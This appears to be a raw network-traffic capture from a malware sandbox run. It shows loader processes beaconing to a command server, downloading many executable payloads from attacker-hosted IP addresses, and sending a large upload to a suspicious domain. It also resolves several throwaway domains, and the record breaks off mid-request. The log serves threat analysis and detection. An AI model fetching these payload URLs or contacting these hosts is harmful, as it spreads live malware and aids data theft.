                        Transfer-Encoding: chunked
                        Connection: keep-alive
                      • flag-ru
                        POST
                        http://185.215.113.43/Zu7JuNko/index.php
                        skotes.exe
                        Remote address:
                        185.215.113.43:80
                        Request
                        POST /Zu7JuNko/index.php HTTP/1.1
                        Content-Type: application/x-www-form-urlencoded
                        Host: 185.215.113.43
                        Content-Length: 31
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:25:39 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                      • flag-ru
                        POST
                        http://185.215.113.43/Zu7JuNko/index.php
                        skotes.exe
                        Remote address:
                        185.215.113.43:80
                        Request
                        POST /Zu7JuNko/index.php HTTP/1.1
                        Content-Type: application/x-www-form-urlencoded
                        Host: 185.215.113.43
                        Content-Length: 31
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:25:43 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                      • flag-ru
                        POST
                        http://185.215.113.43/Zu7JuNko/index.php
                        skotes.exe
                        Remote address:
                        185.215.113.43:80
                        Request
                        POST /Zu7JuNko/index.php HTTP/1.1
                        Content-Type: application/x-www-form-urlencoded
                        Host: 185.215.113.43
                        Content-Length: 31
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:25:45 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                      • flag-ru
                        POST
                        http://185.215.113.43/Zu7JuNko/index.php
                        skotes.exe
                        Remote address:
                        185.215.113.43:80
                        Request
                        POST /Zu7JuNko/index.php HTTP/1.1
                        Content-Type: application/x-www-form-urlencoded
                        Host: 185.215.113.43
                        Content-Length: 31
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:25:52 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                      • flag-ru
                        POST
                        http://185.215.113.43/Zu7JuNko/index.php
                        skotes.exe
                        Remote address:
                        185.215.113.43:80
                        Request
                        POST /Zu7JuNko/index.php HTTP/1.1
                        Content-Type: application/x-www-form-urlencoded
                        Host: 185.215.113.43
                        Content-Length: 31
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:25:55 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                      • flag-ru
                        POST
                        http://185.215.113.43/Zu7JuNko/index.php
                        skotes.exe
                        Remote address:
                        185.215.113.43:80
                        Request
                        POST /Zu7JuNko/index.php HTTP/1.1
                        Content-Type: application/x-www-form-urlencoded
                        Host: 185.215.113.43
                        Content-Length: 31
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:26:04 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                      • flag-ru
                        POST
                        http://185.215.113.43/Zu7JuNko/index.php
                        skotes.exe
                        Remote address:
                        185.215.113.43:80
                        Request
                        POST /Zu7JuNko/index.php HTTP/1.1
                        Content-Type: application/x-www-form-urlencoded
                        Host: 185.215.113.43
                        Content-Length: 31
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:26:07 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                      • flag-ru
                        POST
                        http://185.215.113.43/Zu7JuNko/index.php
                        skotes.exe
                        Remote address:
                        185.215.113.43:80
                        Request
                        POST /Zu7JuNko/index.php HTTP/1.1
                        Content-Type: application/x-www-form-urlencoded
                        Host: 185.215.113.43
                        Content-Length: 31
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:26:12 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                      • flag-ru
                        POST
                        http://185.215.113.43/Zu7JuNko/index.php
                        skotes.exe
                        Remote address:
                        185.215.113.43:80
                        Request
                        POST /Zu7JuNko/index.php HTTP/1.1
                        Content-Type: application/x-www-form-urlencoded
                        Host: 185.215.113.43
                        Content-Length: 31
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:26:17 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                      • flag-ru
                        POST
                        http://185.215.113.43/Zu7JuNko/index.php
                        skotes.exe
                        Remote address:
                        185.215.113.43:80
                        Request
                        POST /Zu7JuNko/index.php HTTP/1.1
                        Content-Type: application/x-www-form-urlencoded
                        Host: 185.215.113.43
                        Content-Length: 31
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:26:20 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                      • flag-ru
                        POST
                        http://185.215.113.43/Zu7JuNko/index.php
                        skotes.exe
                        Remote address:
                        185.215.113.43:80
                        Request
                        POST /Zu7JuNko/index.php HTTP/1.1
                        Content-Type: application/x-www-form-urlencoded
                        Host: 185.215.113.43
                        Content-Length: 31
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:26:25 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                      • flag-ru
                        POST
                        http://185.215.113.43/Zu7JuNko/index.php
                        skotes.exe
                        Remote address:
                        185.215.113.43:80
                        Request
                        POST /Zu7JuNko/index.php HTTP/1.1
                        Content-Type: application/x-www-form-urlencoded
                        Host: 185.215.113.43
                        Content-Length: 31
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:26:29 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                      • flag-ru
                        POST
                        http://185.215.113.43/Zu7JuNko/index.php
                        skotes.exe
                        Remote address:
                        185.215.113.43:80
                        Request
                        POST /Zu7JuNko/index.php HTTP/1.1
                        Content-Type: application/x-www-form-urlencoded
                        Host: 185.215.113.43
                        Content-Length: 31
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:26:32 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                      • flag-ru
                        POST
                        http://185.215.113.43/Zu7JuNko/index.php
                        skotes.exe
                        Remote address:
                        185.215.113.43:80
                        Request
                        POST /Zu7JuNko/index.php HTTP/1.1
                        Content-Type: application/x-www-form-urlencoded
                        Host: 185.215.113.43
                        Content-Length: 31
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:26:35 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                      • flag-ru
                        POST
                        http://185.215.113.43/Zu7JuNko/index.php
                        skotes.exe
                        Remote address:
                        185.215.113.43:80
                        Request
                        POST /Zu7JuNko/index.php HTTP/1.1
                        Content-Type: application/x-www-form-urlencoded
                        Host: 185.215.113.43
                        Content-Length: 31
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:26:38 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                      • flag-ru
                        POST
                        http://185.215.113.43/Zu7JuNko/index.php
                        skotes.exe
                        Remote address:
                        185.215.113.43:80
                        Request
                        POST /Zu7JuNko/index.php HTTP/1.1
                        Content-Type: application/x-www-form-urlencoded
                        Host: 185.215.113.43
                        Content-Length: 31
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:26:46 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                      • flag-ru
                        GET
                        http://31.41.244.11/files/wicked/random.exe
                        skotes.exe
                        Remote address:
                        31.41.244.11:80
                        Request
                        GET /files/wicked/random.exe HTTP/1.1
                        Host: 31.41.244.11
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:25:24 GMT
                        Content-Type: application/octet-stream
                        Content-Length: 1114112
                        Last-Modified: Thu, 19 Dec 2024 03:43:46 GMT
                        Connection: keep-alive
                        ETag: "67639672-110000"
                        Accept-Ranges: bytes
                      • flag-ru
                        GET
                        http://31.41.244.11/files/martin/random.exe
                        skotes.exe
                        Remote address:
                        31.41.244.11:80
                        Request
                        GET /files/martin/random.exe HTTP/1.1
                        Host: 31.41.244.11
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:25:28 GMT
                        Content-Type: application/octet-stream
                        Content-Length: 4470784
                        Last-Modified: Fri, 20 Dec 2024 08:18:52 GMT
                        Connection: keep-alive
                        ETag: "6765286c-443800"
                        Accept-Ranges: bytes
                      • flag-ru
                        GET
                        http://31.41.244.11/files/bckosq/random.exe
                        skotes.exe
                        Remote address:
                        31.41.244.11:80
                        Request
                        GET /files/bckosq/random.exe HTTP/1.1
                        Host: 31.41.244.11
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:25:36 GMT
                        Content-Type: application/octet-stream
                        Content-Length: 810496
                        Last-Modified: Thu, 19 Dec 2024 19:41:56 GMT
                        Connection: keep-alive
                        ETag: "67647704-c5e00"
                        Accept-Ranges: bytes
                      • flag-ru
                        GET
                        http://31.41.244.11/files/loadman/random.exe
                        skotes.exe
                        Remote address:
                        31.41.244.11:80
                        Request
                        GET /files/loadman/random.exe HTTP/1.1
                        Host: 31.41.244.11
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:25:39 GMT
                        Content-Type: application/octet-stream
                        Content-Length: 1374720
                        Last-Modified: Thu, 19 Dec 2024 17:14:58 GMT
                        Connection: keep-alive
                        ETag: "67645492-14fa00"
                        Accept-Ranges: bytes
                      • flag-ru
                        GET
                        http://31.41.244.11/files/karl/random.exe
                        skotes.exe
                        Remote address:
                        31.41.244.11:80
                        Request
                        GET /files/karl/random.exe HTTP/1.1
                        Host: 31.41.244.11
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:25:43 GMT
                        Content-Type: application/octet-stream
                        Content-Length: 22016
                        Last-Modified: Thu, 19 Dec 2024 14:25:14 GMT
                        Connection: keep-alive
                        ETag: "67642cca-5600"
                        Accept-Ranges: bytes
                      • flag-ru
                        GET
                        http://31.41.244.11/files/unique2/random.exe
                        skotes.exe
                        Remote address:
                        31.41.244.11:80
                        Request
                        GET /files/unique2/random.exe HTTP/1.1
                        Host: 31.41.244.11
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:25:45 GMT
                        Content-Type: application/octet-stream
                        Content-Length: 1959936
                        Last-Modified: Fri, 20 Dec 2024 07:58:03 GMT
                        Connection: keep-alive
                        ETag: "6765238b-1de800"
                        Accept-Ranges: bytes
                      • flag-ru
                        GET
                        http://31.41.244.11/files/burpin1/random.exe
                        skotes.exe
                        Remote address:
                        31.41.244.11:80
                        Request
                        GET /files/burpin1/random.exe HTTP/1.1
                        Host: 31.41.244.11
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:26:12 GMT
                        Content-Type: application/octet-stream
                        Content-Length: 4438776
                        Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT
                        Connection: keep-alive
                        ETag: "675784f0-43baf8"
                        Accept-Ranges: bytes
                      • flag-ru
                        GET
                        http://31.41.244.11/files/geopoxid/random.exe
                        skotes.exe
                        Remote address:
                        31.41.244.11:80
                        Request
                        GET /files/geopoxid/random.exe HTTP/1.1
                        Host: 31.41.244.11
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:26:17 GMT
                        Content-Type: application/octet-stream
                        Content-Length: 1880576
                        Last-Modified: Wed, 18 Dec 2024 18:02:50 GMT
                        Connection: keep-alive
                        ETag: "67630e4a-1cb200"
                        Accept-Ranges: bytes
                      • flag-ru
                        GET
                        http://31.41.244.11/files/x3team/random.exe
                        skotes.exe
                        Remote address:
                        31.41.244.11:80
                        Request
                        GET /files/x3team/random.exe HTTP/1.1
                        Host: 31.41.244.11
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:26:20 GMT
                        Content-Type: application/octet-stream
                        Content-Length: 3286016
                        Last-Modified: Wed, 18 Dec 2024 13:43:08 GMT
                        Connection: keep-alive
                        ETag: "6762d16c-322400"
                        Accept-Ranges: bytes
                      • flag-ru
                        GET
                        http://31.41.244.11/files/unique3/random.exe
                        skotes.exe
                        Remote address:
                        31.41.244.11:80
                        Request
                        GET /files/unique3/random.exe HTTP/1.1
                        Host: 31.41.244.11
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:26:25 GMT
                        Content-Type: application/octet-stream
                        Content-Length: 2016256
                        Last-Modified: Fri, 20 Dec 2024 07:53:37 GMT
                        Connection: keep-alive
                        ETag: "67652281-1ec400"
                        Accept-Ranges: bytes
                      • flag-ru
                        GET
                        http://31.41.244.11/files/lolz/random.exe
                        skotes.exe
                        Remote address:
                        31.41.244.11:80
                        Request
                        GET /files/lolz/random.exe HTTP/1.1
                        Host: 31.41.244.11
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:26:29 GMT
                        Content-Type: application/octet-stream
                        Content-Length: 21504
                        Last-Modified: Wed, 18 Dec 2024 18:13:28 GMT
                        Connection: keep-alive
                        ETag: "676310c8-5400"
                        Accept-Ranges: bytes
                      • flag-ru
                        GET
                        http://31.41.244.11/files/fate/random.exe
                        skotes.exe
                        Remote address:
                        31.41.244.11:80
                        Request
                        GET /files/fate/random.exe HTTP/1.1
                        Host: 31.41.244.11
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:26:32 GMT
                        Content-Type: application/octet-stream
                        Content-Length: 776832
                        Last-Modified: Tue, 17 Dec 2024 09:45:14 GMT
                        Connection: keep-alive
                        ETag: "6761482a-bda80"
                        Accept-Ranges: bytes
                      • flag-ru
                        GET
                        http://31.41.244.11/files/london/random.exe
                        skotes.exe
                        Remote address:
                        31.41.244.11:80
                        Request
                        GET /files/london/random.exe HTTP/1.1
                        Host: 31.41.244.11
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:26:35 GMT
                        Content-Type: application/octet-stream
                        Content-Length: 1885696
                        Last-Modified: Wed, 18 Dec 2024 18:20:46 GMT
                        Connection: keep-alive
                        ETag: "6763127e-1cc600"
                        Accept-Ranges: bytes
                      • flag-ru
                        GET
                        http://31.41.244.11/files/unique1/random.exe
                        skotes.exe
                        Remote address:
                        31.41.244.11:80
                        Request
                        GET /files/unique1/random.exe HTTP/1.1
                        Host: 31.41.244.11
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:26:39 GMT
                        Content-Type: application/octet-stream
                        Content-Length: 4522496
                        Last-Modified: Fri, 20 Dec 2024 07:33:58 GMT
                        Connection: keep-alive
                        ETag: "67651de6-450200"
                        Accept-Ranges: bytes
                      • flag-us
                        DNS
                        httpbin.org
                        1b12d9265c.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        httpbin.org
                        IN A
                        Response
                      • flag-us
                        DNS
                        httpbin.org
                        1b12d9265c.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        httpbin.org
                        IN AAAA
                        Response
                        httpbin.org
                        IN A
                        98.85.100.80
                        httpbin.org
                        IN A
                        34.226.108.155
                      • flag-us
                        DNS
                        bellflamre.click
                        b5a0016111.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        bellflamre.click
                        IN A
                        Response
                      • flag-us
                        DNS
                        immureprech.biz
                        b5a0016111.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        immureprech.biz
                        IN A
                        Response
                        immureprech.biz
                        IN A
                        178.62.201.34
                        immureprech.biz
                        IN A
                        104.131.68.180
                        immureprech.biz
                        IN A
                        45.77.249.79
                      • flag-us
                        DNS
                        deafeninggeh.biz
                        b5a0016111.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        deafeninggeh.biz
                        IN A
                        Response
                        deafeninggeh.biz
                        IN A
                        104.131.68.180
                        deafeninggeh.biz
                        IN A
                        178.62.201.34
                        deafeninggeh.biz
                        IN A
                        45.77.249.79
                      • flag-us
                        DNS
                        home.fivetk5ht.top
                        1b12d9265c.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        home.fivetk5ht.top
                        IN A
                        Response
                        home.fivetk5ht.top
                        IN A
                        185.121.15.192
                      • flag-us
                        DNS
                        home.fivetk5ht.top
                        1b12d9265c.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        home.fivetk5ht.top
                        IN AAAA
                        Response
                      • flag-gb
                        POST
                        http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851
                        1b12d9265c.exe
                        Remote address:
                        185.121.15.192:80
                        Request
                        POST /zldPRFrmVFHTtKntGpOv1734579851 HTTP/1.1
                        Host: home.fivetk5ht.top
                        Accept: */*
                        Content-Type: application/json
                        Content-Length: 354492
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.22.1
                        Date: Fri, 20 Dec 2024 08:26:00 GMT
                        Content-Type: text/html; charset=utf-8
                        Content-Length: 1
                        Connection: close
                      • flag-us
                        DNS
                        effecterectz.xyz
                        b5a0016111.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        effecterectz.xyz
                        IN A
                        Response
                      • flag-us
                        DNS
                        diffuculttan.xyz
                        b5a0016111.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        diffuculttan.xyz
                        IN A
                        Response
                      • flag-us
                        DNS
                        debonairnukk.xyz
                        b5a0016111.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        debonairnukk.xyz
                        IN A
                        Response
                      • flag-us
                        DNS
                        wrathful-jammy.cyou
                        b5a0016111.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        wrathful-jammy.cyou
                        IN A
                        Response
                      • flag-us
                        DNS
                        awake-weaves.cyou
                        b5a0016111.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        awake-weaves.cyou
                        IN A
                        Response
                      • flag-us
                        DNS
                        sordid-snaked.cyou
                        b5a0016111.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        sordid-snaked.cyou
                        IN A
                        Response
                      • flag-us
                        DNS
                        steamcommunity.com
                        63c55cb05c.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        steamcommunity.com
                        IN A
                        Response
                        steamcommunity.com
                        IN A
                        2.22.99.85
                      • flag-gb
                        GET
                        https://steamcommunity.com/profiles/76561199724331900
                        b5a0016111.exe
                        Remote address:
                        2.22.99.85:443
                        Request
                        GET /profiles/76561199724331900 HTTP/1.1
                        Connection: Keep-Alive
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Host: steamcommunity.com
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx
                        Content-Type: text/html; charset=UTF-8
                        Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;
                        Expires: Mon, 26 Jul 1997 05:00:00 GMT
                        Cache-Control: no-cache
                        Date: Fri, 20 Dec 2024 08:25:41 GMT
                        Content-Length: 35588
                        Connection: keep-alive
                        Set-Cookie: sessionid=2eeafe12eb17c15b04ec613d; Path=/; Secure; SameSite=None
                        Set-Cookie: steamCountry=GB%7C7d625a3b038bb98f68b4e14dac147806; Path=/; Secure; HttpOnly; SameSite=None
                      • flag-us
                        DNS
                        lev-tolstoi.com
                        3aa5453546.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        lev-tolstoi.com
                        IN A
                        Response
                        lev-tolstoi.com
                        IN A
                        172.67.157.254
                        lev-tolstoi.com
                        IN A
                        104.21.66.86
                      • flag-us
                        POST
                        https://lev-tolstoi.com/api
                        b5a0016111.exe
                        Remote address:
                        172.67.157.254:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: lev-tolstoi.com
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:25:41 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=ualcpge6prmu94isjo0bpofhqh; expires=Tue, 15 Apr 2025 02:12:20 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qaS8NWSY0FocYbCGdbYfvwjzNpXIQEudo4lyoEwBUak9yUagkOMCGw0idzJNyg6TIOVQ00sOCr7FElM0XETvmbReTOM%2F43nufA7dymiDHQAEYgWktCOQeDFfngye2mCpvQU%3D"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e3e41d95cede0-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=29768&min_rtt=27482&rtt_var=9670&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2852&recv_bytes=583&delivery_rate=128107&cwnd=253&unsent_bytes=0&cid=222225afdd9996d4&ts=234&x=0"
                      • flag-ru
                        GET
                        http://185.215.113.16/luma/random.exe
                        skotes.exe
                        Remote address:
                        185.215.113.16:80
                        Request
                        GET /luma/random.exe HTTP/1.1
                        Host: 185.215.113.16
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:25:51 GMT
                        Content-Type: application/octet-stream
                        Content-Length: 1855488
                        Last-Modified: Fri, 20 Dec 2024 08:09:14 GMT
                        Connection: keep-alive
                        ETag: "6765262a-1c5000"
                        Accept-Ranges: bytes
                      • flag-ru
                        GET
                        http://185.215.113.16/steam/random.exe
                        skotes.exe
                        Remote address:
                        185.215.113.16:80
                        Request
                        GET /steam/random.exe HTTP/1.1
                        Host: 185.215.113.16
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:25:55 GMT
                        Content-Type: application/octet-stream
                        Content-Length: 2972160
                        Last-Modified: Fri, 20 Dec 2024 08:09:25 GMT
                        Connection: keep-alive
                        ETag: "67652635-2d5a00"
                        Accept-Ranges: bytes
                      • flag-ru
                        GET
                        http://185.215.113.16/well/random.exe
                        skotes.exe
                        Remote address:
                        185.215.113.16:80
                        Request
                        GET /well/random.exe HTTP/1.1
                        Host: 185.215.113.16
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:26:03 GMT
                        Content-Type: application/octet-stream
                        Content-Length: 970240
                        Last-Modified: Fri, 20 Dec 2024 08:07:00 GMT
                        Connection: keep-alive
                        ETag: "676525a4-ece00"
                        Accept-Ranges: bytes
                      • flag-ru
                        GET
                        http://185.215.113.16/off/random.exe
                        skotes.exe
                        Remote address:
                        185.215.113.16:80
                        Request
                        GET /off/random.exe HTTP/1.1
                        Host: 185.215.113.16
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Fri, 20 Dec 2024 08:26:07 GMT
                        Content-Type: application/octet-stream
                        Content-Length: 2830848
                        Last-Modified: Fri, 20 Dec 2024 08:07:28 GMT
                        Connection: keep-alive
                        ETag: "676525c0-2b3200"
                        Accept-Ranges: bytes
                      • flag-us
                        DNS
                        github.com
                        3c62c3d17f.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        github.com
                        IN A
                        Response
                        github.com
                        IN A
                        20.26.156.215
                      • flag-us
                        DNS
                        sweepyribs.lat
                        818f5dca0c.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        sweepyribs.lat
                        IN A
                        Response
                      • flag-nl
                        GET
                        http://185.156.73.23/add?substr=mixtwo&s=three&sub=emp
                        6d4b9dcf61.exe
                        Remote address:
                        185.156.73.23:80
                        Request
                        GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: 1
                        Host: 185.156.73.23
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:25:57 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Length: 1
                        Keep-Alive: timeout=5, max=100
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-nl
                        GET
                        http://185.156.73.23/dll/key
                        6d4b9dcf61.exe
                        Remote address:
                        185.156.73.23:80
                        Request
                        GET /dll/key HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: 1
                        Host: 185.156.73.23
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:25:57 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Length: 21
                        Keep-Alive: timeout=5, max=99
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-nl
                        GET
                        http://185.156.73.23/dll/download
                        6d4b9dcf61.exe
                        Remote address:
                        185.156.73.23:80
                        Request
                        GET /dll/download HTTP/1.1
